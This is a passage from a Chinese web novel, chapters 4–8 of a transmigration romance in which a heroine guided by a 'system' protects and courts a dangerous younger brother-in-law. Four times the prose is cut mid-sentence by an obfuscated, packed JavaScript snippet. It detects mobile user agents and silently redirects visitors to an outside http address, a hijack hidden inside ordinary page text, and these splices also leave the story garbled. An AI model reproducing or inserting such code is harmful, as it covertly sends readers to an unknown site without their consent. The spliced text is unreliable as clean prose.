同时脑子里冒出一道清晰的提示音,“叮~重要炮灰角色‘沈纤纤’上线。” 系统道:“接下来她会找沈如芥麻烦。请宿主做出反应,保护攻略对象。” 沈纤纤,侯府五小姐,和沈归是真正的一母同胞,也是整个侯府最任性的存在。 原本她头上还有两个姐姐,不过都已经相继的许了人家,现在府上未出阁的小姐就只剩她一个。 她其实很喜欢沈如芥的那张脸,但因为彼此身份以及从小被灌输的敌意,所以对沈如芥很恶劣。 甚至小时候还拿着树枝,喂他吃过蚂蚁。 长大后她渐渐明白了自己对沈如芥的心思,最初是不能接受,然后便是又气又恼。每次都要打扮得美美的过来挑衅,在他面前刷存在感。 辛夷:“……” 什么年代了,竟然还有这种降智炮灰?让她本能的联想到初高中的某些男生,喜欢通过捣乱和揪女生辫子来引起注意,不过这次是升级版的而已。 随着那声巨响落下,很快就有脚步声往他们这个方向来。 辛夷侧头看到,少年的脸色瞬间冷了几个度。 “沈如芥!” 面前掉漆的朱门“咯吱”一声被推开,脚步停下,少女清脆跋扈的声音亦重重落下。 沈纤纤穿着一袭丹红色衣裙,生了副娇俏可人的面孔,动作间步摇上的明珠不停摇晃。 刚想冲他发火,就看到了站在旁边的辛夷,立刻从气势汹汹变为疑惑,“嫂嫂……你怎么会在这里?” 辛夷温柔一笑,很轻松的回答了问题,“二公子受伤了,我来给他送药。” 沈纤纤疑惑的视线在他们两人身上来回扫,更加不理解了,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14778582|157922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么药值得嫂嫂亲自跑一趟,而且,嫂嫂何时和他这么熟了?” 他们两个平日里有过什么交集么?她怎么不知道。 “是侯爷嘱咐二公子去幽州替我寻药,如今他受了伤,我于情于理都应该过来看看。” 辛夷略微停顿,继续说,“昨日侯爷还特意交代了,这几天让二公子在府里安心养伤,旁人少打扰。我也有些好奇,纤纤怎么会过来这里?” 她的话都是笑着说的,语气也柔婉,仿佛不管说什么问什么都是顺理成章,不带半分敌意。 沈纤纤却被问得良久张不开嘴:“我,我……” 她竟然觉得有些窘迫。 她当然是来找沈如芥麻烦的,是惯例来触他霉头,让他不好过的。 但辛夷在这里,看样子对沈如芥还很关心。 她也不能强硬的做些什么,毕竟对方是侯府的正头夫人,还顶着她嫂嫂的名头。 而且她身体差得要命,万一不小心磕着碰着,晕死在这里可怎么好? 兄长虽然不喜爱她,但也从没有苛待过,如果嫂嫂真的因为她有什么好歹,肯定不能像对待沈如芥那样轻轻揭过去。 说不定还要罚她禁足,跪祠堂还有抄佛经。 不行不行,这可不行,想到这里沈纤纤立刻识时务的摇了摇头。 但她既然来了,若是就这么不痛不痒的回去,心里也闷得慌。 今日非要找沈如芥点儿不痛快才行。 于是伸出手去,想要狠狠捏住少年脸颊,“我也来关心二哥哥啊,想看他的伤好没好。脸上也落伤了么?我看看……” 只可惜,手指还没碰到就被打落。 “你!” 沈纤纤气急败坏,瞪大了眼睛看他,“你疯了是不是,竟敢忤逆我的意思!我若是告诉兄长,保准有你的好果子吃!” 沈如芥不知为何,今日格外不能忍受她的靠近,连装也不想装。 忍着浓烈的杀意与恶心,冷声道,“想告就告,现在,从我的屋子滚出去。” 沈纤纤气笑了,阴阳怪气的重复道,“你的……屋子?这侯府里头有哪一处是属于你的,你给我记住了,兄长才是这个侯府的主人!你算个什么东西,也敢在我面前摆架子?” 她快气疯了,根本不顾辛夷在不在场,还像往常那样,用极尽侮辱的话来骂他,“你就是你娘偷人才生下来的小杂种,是不干净的东西,怪不得爹爹在世的时候就不疼你。你能活着就应该感谢所有人,明白么!” 辛夷听得心惊肉跳,她想说——你知道什么叫盒饭吗,姑娘。 你的盒饭已经“叮”得烫手了。 于是出于人道主义精神,和攻略任务的硬性要求,她赶紧开口打断了沈纤纤的继续作死,“够了!” “纤纤,你怎么能这样说自己的兄长?实在是、实在是……”辛夷摆出一副惊讶又失望的表情,仿佛被吓到似的捂住胸口。 她的模样太柔弱,明明是在训斥对方,却感觉下一秒就会被对方气晕倒。 沈纤纤不说话了。她心里闷着一股没泄完的火气,瘪着嘴谁也不看,竟似有些委屈。 很生气但不敢顶嘴,怕不小心把她顶死了。 阿盈也是第一次看辛夷这样,担心的慌忙扶住她,“夫人夫人,你没事罢,要不要紧?” 辛夷顺势将头倚过去,虚弱的摇了摇头,“不碍事。” 虽然嘴上说着不碍事,但从头到脚都写着:身娇体弱,假装坚强。 沈纤纤头皮发麻:“嫂嫂……” 她是第一次明明自己也不高兴,还要低头跟别人道歉,“嫂嫂,是我不对,你别生气了。” 5. 闺秀嫂嫂×貌美病娇5 阿盈的表情有些不可思议,她、她这辈子竟然还能听到五小姐跟人道歉! 要知道沈纤纤在侯府里向来是天不怕地不怕的,除了侯爷还能说她两句,谁还敢让她有半分不痛快。 甚至丫鬟仆役们进了她的院子,都要心惊胆战着自觉的低声几分。 她竟然会道歉? 真是太阳打西边出来了。 阿盈的心情瞬间由对夫人的担心,变成了担心之中夹杂着一丝倾佩。 不过她的眉头仍旧展不开,因为夫人在她心中就是美丽易碎的瓷瓶,碰一下都要紧张半天,“夫人,你真的没事么……” 辛夷再次摇了摇头,“真的没事。” 她抬起一双乌润的水眸,缓缓望向了正在兀自憋屈的沈纤纤,叹了口气,“嫂嫂并不是故意想挑你的毛病,但二公子怎么也算是你的兄长,不管为了什么,你都不该那么说他。” 沈纤纤很烦,她想走了。 平时没怎么跟邬辛夷接触过,不知道她还有这种让人憋邪火的本事。 辛夷当然看出了她的强烈不满。 但作为一个阅剧无数的现代社畜,辛夷最喜欢的时候就是在工作的时候摸鱼刷视频。 家长里短的剧也没少看,什么老公出轨后我把他和小三都送进了监狱、受气包女主大战恶婆婆啦,她都是当电子榨菜下饭的。 对这种小场面丝毫不怵。 尤其是在察觉到身侧少年若有似无的,将那道探究的目光投过来之后,愈发义正言辞,“纤纤,你今日说了许多过分的话,应该同二公子道个歉。” 沈纤纤瞪大眼睛:跟沈如芥道歉,怎么可能! 那个低贱的小孽畜!! 但她顾虑到一些可能出现的意外因素,也只敢不高兴的小声嘟囔,来表达抗议,“哪里就过分了,我小时候还喂他吃过蚂蚁呢。 他气得眼睛都红了,还那种特别阴鸷瘆人的目光看我,但我哭着跑去跟爹爹告状,爹爹将他捆在树上打了一顿,事后他还要跟我赔礼道歉。” 说这话的时候,沈纤纤还一副理直气壮的表情。 仿佛这并不是什么值得愧疚的错事,是施恩和赐予,而侯府的其他人也都默许了这个规则。 辛夷:“……” 这是怕自己死得不够快啊,沈如芥超记仇的。 然后她一转头,果然看见了神情冷漠的少年。 辛夷心中警铃大作:完了完了。她不小心听到了病娇反派的童年惨事,不会也被记恨上吧。 系统幸灾乐祸的提醒她,“会的,沈如芥目前对宿主的好感度下降为-120%” “……” “…………” 涨好感度就是挤牙膏,降好感度就是坐过山车。 她真的会呼吸不畅。。。 系统安慰她:“宿主不要气馁。往好的地方想想,你起码让他情绪波动了,不至于继续当个透明人。” 真的吗? 她不信。 许是辛夷那一副红着眼眶蔫嗒嗒的模样,太过苍白易碎,吓到了还在死鸭子嘴硬的沈纤纤。 她最后还是选择低头认错,瓮声瓮气的跟沈如芥说了一句对不起,然后赶紧找了借口开溜了。 屋子里就只剩下她们主仆二人,还有沈如芥。 安静了许久,久到可以听到辛夷强忍着压低抽泣的声音。 少年皱着眉问,“嫂嫂在哭些什么?” 又不是她被当面羞辱,如果只是因为同情的话,会不会有一点太过了? 辛夷睁圆了一双饱含水汽的杏眸,似乎是努力的不想让眼泪掉下来,却事与愿违,晶莹剔透的泪珠断线一样从颊边滚落。 她用那副哭过之后软糯沙哑的嗓音,轻轻哽咽道,“没想到我们都一样,幼时都不被家里人喜欢……” 沈如芥继续看着她。 辛夷仿佛不忍回忆般的别开了脸,只留鬓边随着哽咽而微颤的绢花,“你不知道罢,其实……我也被喂过蚂蚁。” * 从沈如芥的别院回来,阿盈心里难受极了。 尤其是方才辛夷演得太过,陷入了假哭的情绪,眼眶仍旧红红的,仿佛蓄着惹人心疼的清泪。 阿盈再也忍不住了,“呜呜呜夫人您别哭,您一哭奴……奴婢也想哭。” 已经收尾的辛夷:“……” 她没想哭,只是想让沈如芥忽然掉下去的好感值涨上来一点儿。 阿盈继续啜泣:“夫人……你以前……以前怎么这么惨啊呜呜呜……” 辛夷难得愧疚,为了不让她继续哭下去,只好转移话题,“所以我要想一想,该怎么挽回侯爷的心。” 其实她也确实有这个打算。 除了主线任务之外,沈归这个支线任务也要同时进行,虽然轻重不同,但也不能太顾此失彼。 最最重要的一点是,她必须提前计划好和离一事。 按照原剧情的时间发展线,再过没多久,郑妩那边就会发现已有了两个多月的身孕。 到时候沈归一定会将郑妩接进侯府,给她该有的名分和生活,毕竟那可是自己爱到了心尖尖上的女人,是他宁愿葬身火海也不愿写休书放妻的挚爱。 他之所以现阶段一直捂着没漏风声,是因为没想好到底要给郑妩什么样的名分。 做妾室太委屈她了,抬为正妻又会给邬辛夷难堪。尽管沈归并不会在意原主的感受,可他多少要顾及世家的脸面。 郑妩是注定要替侯府生下嫡长子的。 这已经是打正妻的脸了,遑论沈归会把她宠得没边儿,恨不得把所有的好东西都给她,好弥补这段不能见光的日子里受的委屈。 而等到郑妩的外室身份,被摆到明面上来谈的时候,也会是辛夷提出和离的最好时机。 在这之前她要想尽办法的博取沈归好感,制造独处的机会,和他培养感情。 要让他清楚意识到,邬辛夷是他娶进门的妻子,不是随便从路边捡来的女人。 最起码要让沈归心中有一个属于她的位置,哪怕仅仅是产生好奇心。 这样才方便她离开侯府之后,为后面的渣男火葬场做铺垫。 而阿盈听到后果然不哭了,抹了抹眼睛问,“那……夫人打算怎么挽回侯爷的心?” 辛夷莞尔一笑,做出个思索的表情,“你容我想想。” * 寒衣节 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14778583|157922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过后,天气渐渐转凉,连夜里的穿堂风都烈了不少。 沈如芥这两日没有被安排差使,待在府里养伤。 侯府里的仆从婢女们闲来总爱议论些什么,比如主子身边发生了什么趣事。 他本来不爱听这些,却在听到辛夷的时候下意识停住了脚步。 “你们发现没有?夫人最近有些不一样了。” “好像是,脸色没那么苍白了。” “不止呢!夫人以前不爱出门,看到侯爷也总是紧张得说不出话。可这两日,我见她主动去书房找侯爷,等着他用膳。” “我也看到了,而且夫人笑起来好温柔,感觉什么衣裳穿她身上都特别好看。” “昨日夫人穿了件窈蓝色的鲛纱襦裙,唇上涂了胭脂,像樽小观音一样,瞧得我都心动。侯爷用膳的时候多看了她好几眼。” 两个凑在一处窃窃私语的小婢女,并没有留意到假山后的沈如芥。 自然也没看见少年眼底的淡淡讥嘲。 他的这个嫂嫂,倒是没想象中那么笨。 知道眼下最当紧的就是笼络住沈归的心,不叫旁的女人钻了空子。或许她争气一点,还能赶在那妾室进门之前,让沈归对她食髓知味。 到时候楚云湘雨,两边起火。 荫蔽下的少年眯了眯眼睛:他倒是很乐意瞧这个热闹。 * 晚膳之后,别院的厢房中点着一豆青灯。 辛夷打了个呵欠,坐在铜镜前让阿盈帮她拆头发,那个髻挽得太复杂了,她一个人拆不好。于是在初步尝试无果之后,选择放弃。 这几天她又是红袖添香,又是陪沈归看书用膳的,想尽办法缠得他没法子出门,差点儿给自己累脱相了。 她揉揉发酸的脖颈,问系统,“沈如芥现在怎么样了,他的伤好些了吗?好感值有没有变化,需不需要我再去送温暖?” 系统查询了一下,然后沉默:“有,好感值又降了10个点。” 辛夷揉着肩颈的手蓦然僵住,不可置信的睁大了眼,“为什么!我这几天都没见他,也能惹着他?” 不是,凭什么降她的好感值?她可是安安分分的什么都没干啊。 这也太欺负人了吧! 系统也疑惑,“可能是他最近心情不太好,迁怒也说不定。” 辛夷不能接受这个解释。 哪个狗东西惹得他,他就去讨厌那个人啊,为什么要愤怒转嫁! 这种咬牙切齿的心情一直持续到了入睡前。 辛夷做梦都在揪着少年的衣角喊“王八蛋!还我好感值”,可惜还没等对方缴械投降,就被一道焦急的声音吵醒了。 系统催促着:“宿主快醒醒,要出人命了,沈如芥悄悄出府去替七皇子办差使了。” 辛夷懵了半天,但是依旧不想睁眼:“啊……他不是伤还没好吗?” 大半夜的不睡觉,瞎跑啥,这不是纯粹闲了没事儿干,非要给自己找麻烦嘛。 系统的语气快急死了:“是啊,所以他会受更严重的伤,而且,这次应该就是原剧情中他撞见郑妩的那回!” 辛夷:“!” 她瞌睡全醒了,立马下床。 6. 闺秀嫂嫂×貌美病娇6 夜里的穿堂风凉飕飕的,吹得人两腿打哆嗦。 辛夷匆忙下床,随便披着件衣服就出门了,月明星稀下,她鬼鬼祟祟的猫着腰身躲在侯府门前的花圃后头,手里还扒着一块儿假山石,小声的跟系统讨价还价。 “不是我说,400积分太多了,你们做系统的也不能这么黑吧。” 她只是想让系统帮着作个小弊,能让她趁着侯府家丁不注意的时候,打开府门溜出去。 而且她本来就是要去做任务,这属于合理要求,凭什么扣她积……不对,凭什么扣她工资!! “明码标价,童叟无欺,宿主再考虑考虑。” 系统有恃无恐,语调间一股欠劲儿,“可惜沈如芥不能再等了,他两刻钟之前就出去了。要知道那个在花楼里寻欢作乐的刺史府的公子就是个草包,身边又没带两个侍从,解决他用不了多长时间。” 它“啧啧”两声,赤裸裸的威胁:“说不准你再犹豫下去,沈如芥就在和郑妩偶遇的路上了。原剧情中,他可就是这次对郑妩一见钟情的~” 见她沉默,又很会拱火的补充了句,“一见钟情哦,得不到的话,会发疯黑化外加强取豪夺的那种哦~” 辛夷:“……” 好想给它的碎嘴子上个锁。 它只是一个系统而已,为什么可以这么讨厌:) 都说打蛇打七寸。 系统这番话就正好打在了辛夷的七寸上,她当然只能选择忍痛支付积分。 于是很快的,侯府的门被悄悄打开了一道缝。 有道纤细的影子一闪而过,用小碎步的姿态融入昏茫夜色。 直到拐出前面那条巷口,辛夷将脚踏在粗粝的石头路上,她才如释重负的松了口气。 谢天谢地,总算是顺利的出来了。 只可惜没有马车,而且就算是有,她也不会驾。 唯一的代步工具就只能是原主这双软绵绵的、没什么力气的腿,幸好侯府就处于京城的热闹中心,她不需要走太远。 子时已过,青石板路的街道上没个鬼影,就连那些吆喝着卖宵食的摊贩们,都回到家里躺在暖炕上睡觉了。 辛夷捏紧披风闷头走路,越着急越出错,差点儿被路边的小石子绊得崴了一脚,直到走了大概四五条街,她才终于停下来。 然后口中呼出一口寒气,抬起黝黑的杏眼,微微打量起四周来。 这里应该就是沈如芥逃避追捕的必经之路了。 他在原剧情里之所以会误打误撞的躲进郑妩闺房,就是因为被追得慌不择路。 不过她既然费尽辛苦的出来了,这个救命之恩说什么都要拿下。 最佳选择就是等在这里,提前为沈如芥物色好藏匿地点,让他能够成功躲过身后的追缉。 这么想着,辛夷的眼睛更加认真的认真搜寻起来。 然后她发现…… 好难。 真的好难。 眼下深更半夜的,街上的客栈食铺都关门了,清清冷冷的,哪有什么合适的地方给他藏身? 总不能随机敲开一户百姓的柴门说,“喂,你们夫妻俩能不能先别睡?我等会儿有个朋友要过来,他刚刚不小心杀了刺史府的公子,正被人追着逃命呢。” 这不是神经病吗? 辛夷光是这么想着,都要被自己脑子里的昏招逗笑了。 就在她忍不住开始焦头烂额之际,视线来来回回扫了几圈,在略过一处堆放草料的马厩之后,微微一顿,又转了回来。 欸…… 这里好像可以。 虽然闻着有点臭烘烘的马粪味儿,但都这种紧迫要命的时候了,还有什么好挑的。 辛夷觉得自己这个想法真是聪明极了,不愧是她,圆溜溜的小脑袋瓜子就是灵活! 不过很快想到什么似的,忽然有点儿面露难色,纠结之下,还是选择问问系统,“你看是这样……被禁卫们追缉的只有沈如芥一个,能不能只让他自己躲进去,我就站远点儿行么?” 她浑身上下穿得干干净净的,连荷包都是精致且香喷喷的。 实在不想钻马厩。 系统:“……” 它也沉默了,用问傻子的语气问辛夷,“那你觉得,后面追杀沈如芥的人发现他不见了,而你又忽然出现在他们面前,会不会以为你是半夜吃撑了,单纯过来溜达消食的?” 辛夷神情颓废,“今天的这个马厩,我是非躲不可吗?” 系统:“好像是的。” 远处有鹧鸪低叫了一声。 浓云渐渐遮蔽住月亮,连本来就稀疏的星子都黯淡了几分。 辛夷渐渐有些站不住,伸手揉了揉自己的微有些酸痛的小腿。 皱着眉心中打鼓道,“都等那么久了,沈如芥怎么还不来?不会是忽然更改路线了吧?” “不会的宿主,这里是必经之路,你再耐心等等。” 这话落下没多久,前方终于传来沉重踉跄的脚步声。 辛夷立马激动的抬头去看。 就看见一个穿着不俗且油脑肥肠的醉鬼,晃悠悠的朝她这个方向过来,在看到她的瞬间,绿豆大的眼睛骤然闪烁出□□的精光,“美……美人儿?” 她的笑容就那么僵在了脸上。 辛夷:“……” 卡bug是吧,醉鬼恶霸调戏良家妇女的经典桥段也来了,狗血是狗血,可这大半夜的哪有人来英雄救美啊!下次搞事之前能不能考虑一下现实因素? 那个醉鬼还在不断往这个方向逼近,同时嘴里还美人儿长美人儿短的,说着些不干不净的下流话。 辛夷的脸色更难看了。 她担心沈如芥可能会随时出现,不行,不能留这个麻烦在这儿碍事,必须得马上解决才行。 她一边假装害怕的后退,一边把他往另外一个方向引。 同时摸索着周围有没有什么趁手的武器,终于,视线落定在马厩旁边的那根半长木棍。 她将它偷偷藏在身后。 和醉鬼保持了一段不远不近的距离,微微示弱的说道,“公子,可以送我回家么?我一个人害怕。” 对方本来脑子就不清楚,听了自然是不住的连连点头。 高兴得恨不得立刻把她搂进怀里,美人儿娇娇的哄着讨好一通才好。 辛夷则沉着气将他引到另一条巷子的拐角处。 趁着他不注意藏在隐蔽处,举起棍子重重落下,用尽全身力气,才勉强把他打晕过去。 她呼出一口气。 也顾不得旁的什么,立刻跑回原来的地方,生怕再晚一秒就会和沈如芥错过。 还好,她刚把气儿喘匀。 就远远的望见了一道挺拔瘦削的少年身影,是……是沈如芥! 他好像受伤了,捂着胸口走得跌跌撞撞,周身气息也更加阴郁冰冷。 辛夷赶紧小跑几步,迎上去,“沈如芥,你、你怎么伤成这样……先跟我来,我带着你躲起来。” 面对忽然冲过来的人,少年本能的觉得危险。 于是想也没想的打算对她出手,剑都架在脖子上了,却在听到那道熟悉的娇怯声线后猛地顿住。 这是? 借着黯淡月光,他总算看清了面前女子的模样,螓首蛾眉,黛眉烟目,就像是话本中走出的游仙。 然后他恍惚又诧异的喊了一声,“……嫂嫂?” 辛夷被脖子上锋利的凉意吓住了,眼眶迅速红了一圈,噙了泪小声道,“是、是我。” 沈如芥将剑收了回去,眉头立刻皱起来,然而疑问的话还没说出口,邬辛夷就上前一步拉住了他的手。 女子的手柔若无骨,带着旖旎的温度,令他骤然僵在原地。 耳边她靠近了吐气如兰,语气紧张问,“二公子,后面是不是有什么人在追你?我先带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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辛夷也顾不上骂它鸡贼和讨价还价了,一口答应下来,催促它赶紧的。 不过为了节省积分,她就只买了自己周围半米左右的空气净化。 金手指一开,整个世界立刻美好很多。 辛夷拿掉捂在鼻间的手帕,深深呼出一口气:妈呀,终于能正常呼吸了。 那边沈如芥的状况也不是很好。 他本来就受了重伤,在密闭不透气的空间里脑子也逐渐昏沉,俊秀的脸庞开始苍白的渗出冷汗。 辛夷心头一惊,赶紧凑过去扶住他,小声询问,“二公子,你没事罢?” 沈如芥不知怎么的,竟产生了一种奇怪的感受。 原本还脏乱腥臊的马厩,邬辛夷一凑近过来,就立刻变成了带着药香的幽兰气息。 好像……这一方小世界里,只有她是最美好干净的存在。 他一晃神,撑在两侧的胳膊往下沉了下。 骤然前倾的身子,不受控制的撞歪了她鬓发边的翠色珠钗。 “沈如芥!” 辛夷简直要疯了,尤其是当她摸到自己手上沾染的一滩黏糊糊腥甜红色液体。 天呐,他怎么流那么多血啊啊啊啊啊。 她这辈子都没见过这么多血。 辛夷瞬间就头皮发麻,万分惊恐的问,“他要是死了算谁的?” 系统凉凉道:“算你的,宿主。” 沉默之中,沈如芥的脑子更加昏沉了。 以至于当辛夷颤抖着抽出手想擦拭指间血迹的时候,他出于求生的本能立刻攥住了她的手。丹凤眼微微下垂,小狗一样祈求,“嫂嫂……” “别走。” “别抛下我。” 7. 闺秀嫂嫂×貌美病娇7 辛夷睁大了眼睛:这是、这是反派的撒娇? 她做梦都没想到沈如芥在脆弱的时候,竟是这般模样!这声“嫂嫂”,跟小狗叫姐姐有什么区别? 系统呵呵两声,看透般的提醒她:“宿主别被骗了,这是为了利用你,跟溺水之人想抓浮木是一个道理。万一你胆小怕事,丢下他跑了,或者再转头把禁军给引回来了怎么办?” 辛夷自然知道系统说的是实话。 像沈如芥这种面白心黑的,可能上一秒还在甜甜对你笑,下一秒就能毫无心理负担的抹了你的脖子。 但她也想起之前红颜祸水组的一个同事姐姐,边补妆,边对着镜子哼出的那句话,“别看他现在瞧不上我,以后只想上我。” “辛夷宝宝,以后加入我们红颜祸水组吧,姐姐带你玩弄男人的心,很好玩的。” 她当时露出羞涩又纯粹的笑,看上去有些乖巧局促,“真的很好玩吗?可我害怕让别人伤心。” 对方于是就摸着她漂亮的小脸蛋叹息道,“你已经让我们部门两三个新入职的小男生伤心了,自己还傻傻的不知道,真是天然渣的好苗子。” 许是感受到辛夷的愣神,少年将按在她腕上的手指又紧了紧,眸中也闪过一丝细微不可察的寒光。 但唇角却微微苍白的抿起,似乎有些不安,“嫂嫂……” 他的视线落在女子婉约秀美的面庞上,看到她被按得轻轻痛嘶了一声,偏偏忍耐的委屈红了眼眶。 看上去就一副很好欺负的模样。 娇柔中含着一丝嗔怪,倒是带得她往日端庄的眉眼都鲜活了几分。 沈如芥可能自己都没意识到心跳滞了一拍,就连掌心接触到女子光腻肌肤的地方,也似乎生出些微的古怪不适与燥热。 其实他并没有伤重到这种程度,但不知道为什么就是不想让她离开。或许是心里对她留有不信任和猜疑,也或许是,从未有人在他脆弱时主动靠近过。 而辛夷则是有点头皮发麻,尤其是察觉出自己掌心里满是粘腻的血腥,偏又被人牢牢攥住手腕挣脱不得……她一个连杀鸡都不敢多看的人,眼下的状况真的很要命。 而且他不是受伤了吗,怎么还那么大的力气?该不会是装的罢? 又尝试着挣了两下没挣脱,只好柔弱委屈的眨了眨眼睛,带着颤抖隐忍的哭意,“怎么办才好,二公子流了很多血……” 两道鸦黑睫羽簌簌的发颤,仿佛随时都会承受不住,要当着他的面吓晕的模样。 这也合乎情理,一个病怏怏的闺阁小姐哪里见过这种场面,她还撑着没晕就已经是坚强。 沈如芥比她还能装,微微竭力的抵在草料旁的梁柱上,痛苦苍白的唇间发出一点闷哼,“不碍事,过一会儿就好了,只要嫂嫂别抛下我。” 那副全身心信任依赖的神情,仿佛他们从前是多亲密的关系。 要是旁人看见了,很难不误会什么。 天上月明星稀,街道四野无比僻静,禁军离开才一会儿,为了保险起见他们还要在这狭窄逼仄的马厩里多待片刻。 两人靠得更近了,可以听见彼此交错起伏的呼吸,辛夷穿得单薄本来还觉得有点儿冷,现在却被催得有点儿脸热。 过了一会儿,不知道是为了吻合原剧情中的情节,还是为了给马厩里的诡异气氛降温。 本来就有些压抑的夜幕渐渐浓云密布,很快的下起雨来,而且这雨越下越大,用倾盆大雨来形容也丝毫不为过。 瓢泼的雨幕中,少年的意识似乎恢复了几分清明。 假装随意的开口问她,语气轻柔无害,“嫂嫂怎么会深更半夜的出来侯府?而且这样匆急,以至于身侧竟然没有婢女陪同。是有什么非办不可的要紧事么,兄长知不知道?” 那双丹凤眼盯牢她,如同阴冷狡黠的毒蛇盯住了捕网里的猎物,不允许半点作假。 好家伙,要是没有提前做好心理准备,还真就被他问住了。 不过也是。 要是真的半分怀疑都没有,那也太对不起他那浑身上下的八百个心眼子了。 辛夷想起来原剧情里对于郑妩的描述。 重伤雨夜,她面对忽然闯入的沈如芥,并不像寻常的闺阁女子表现得那样惊惶,而是巧妙的帮他遮掩。所以才会令少年惊鸿一瞥,自此之后念念不忘。 于是当即抬起眼睛,仿佛并未经过仔细思索,只是下意识地脱口而出,“当然是因为郑妩,她……” 说到此处才怔愣着反应过来,倏然止住了话头,秾丽的小脸落寞又难堪,贝齿轻轻地咬住了下唇,“我能不能……不说?是我自己的私事,其实与旁人无碍。我会为二公子保守今夜的秘密,也请二公子为我保守秘密,可以么?” 她松开齿关,重新抬眼看他,被咬过的唇面上留下一道深绯色的齿痕。 然而她却并没察觉到那有多旖旎,眼底的情绪尤其干净,清澈得不掺半分杂念。 沈如芥听到她嘴中的“郑妩”二字,已经猜到了几分,邬辛夷既然能说出沈归妾室的名字,就说明她已经知晓了两人的瓜葛。 至于她今夜到底是因为伤心过度,还是因为别的什么才离开侯府,他不关心,也不感兴趣。 于是望了她半天,最后也只是拧着眉道,“嫂嫂太过莽撞,此处虽然是天子脚下,也不代表什么危险都没有,下次不要再如此了。” 辛夷心想:不莽撞不行啊,再晚一步你就对郑妩一见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一副瑟缩又难以启齿的模样扯了扯少年衣袖,“二公子,你要不要包扎一下伤口,血腥味好重……我有点头晕。” 沈如芥转过头,看到她欲言又止的咬咬唇。 然后低头将自己散开的裙裾递到他手上,仿佛安慰自己,也是安慰他的喃喃自语道,“事急从权,这也是没有办法的事。” 少年一怔,皱了皱眉,“什么?” 女子的一张脸秀美婉约,却说着与她完全不相符的话,“我没什么力气……” “你自己把衬布撕下来一条,我的裙子比较干净。” 8. 闺秀嫂嫂×貌美病娇8 等回到侯府,两个人的衣裳都已经湿透。 有轻功极好的沈如芥在,他们自然不必走正门,辛夷耳边只听到一句“唐突了嫂嫂”,就被揽着腰身轻飘飘的双脚离地。 辛夷心道:不唐突不唐突,帮我省了400积分呢。 她恍惚间觉得自己头晕了一下,等到再反应过来的时候,已经稳妥的落进了院子里头。 四周萧瑟冷清,掉漆的朱红窗户前种了棵歪脖柿子树,除此之外就没有什么了。 是沈如芥的院子。 系统忍不住感慨:“他还真是不会怜香惜玉啊,否则的话应该先把宿主送回院子才对,起码让你先把这身湿衣服换了。” 不怪它有此发言,辛夷都淋成落汤鸡了,虽然还努力维持着坚强的表象,但嘴唇已经有些微的苍白发抖,不知道是不是冷的。 辛夷听罢,有些摆烂的礼貌微笑,“说的没错,但才25%的好感度,能指望他有多体贴。” 这也是她用来安慰自己的话。没办法,病娇反派比她想象中的还要难攻略,真正意义上的道阻且长。 另一边少年已经推开门,然后转过头引她进去,“嫂嫂请进。” 辛夷这个当下,也没有任何矫情的推辞,直接跟着走进了沈如芥的房间。 屋子里的烛火被点起来,很快,少年搬来了一小盆炭火,点着了放在辛夷面前。 两个人的站立之处都在不停滴着水,区别在于沈如芥的是淡淡的血水。 他依旧像往日那样穿了身玄衣,伤处却用扎眼的浅色绸布紧紧缠了一圈,虽然也在渗血,不过明显比在马厩的时候好了很多。 辛夷垂头看看自己又是血渍又是破碎的罗裙,感叹她穿了没几次的裙子,算是彻底没法要了。 沈如芥的视线落在她身上,女子身上的裙衫被雨水打湿,不留缝隙的贴附在肌肤上,勾勒出盈盈一握的腰身。 眼眸微湿,有一种楚楚可怜的娇艳。 下一秒,辛夷打了个喷嚏。 本就苍白的小脸更加透出几分弱不禁风,让沈如芥下意识的拧了拧眉。 明明此刻身受重伤的人是他,但就是感觉面前女子才更需要照顾。 沈如芥心中生出一种莫名古怪的情绪,在他想要分辨清楚之前,已经听从本能从卧房里取出两件衣裳递到她面前,“都是新的,我还没穿过,嫂嫂不嫌弃的话就先去换上罢。” 辛夷伸手接过来,扒着看了看,然后用疑惑的眼神望向他,“为什么……给我两件衣裳?” 少年于是又看了她一眼,接着很快移开了视线,抿唇淡声道,“你头发湿了,擦擦。” 辛夷:“哦。” 她乖乖去换了,因为原主这副身子在雨水里泡久了,搞不好真的会感染风寒。 沈如芥的房中简陋得要命,除了桌案床榻,多余的东西什么也没有。不过却有一股清冽的松木香,主要是从熄灭的小香炉里飘出来的。 这让辛夷有些惊讶,毕竟对方看上去跟风雅二字完全不沾边,竟然也会熏香? 惊讶之余想了想,又觉得,也是。 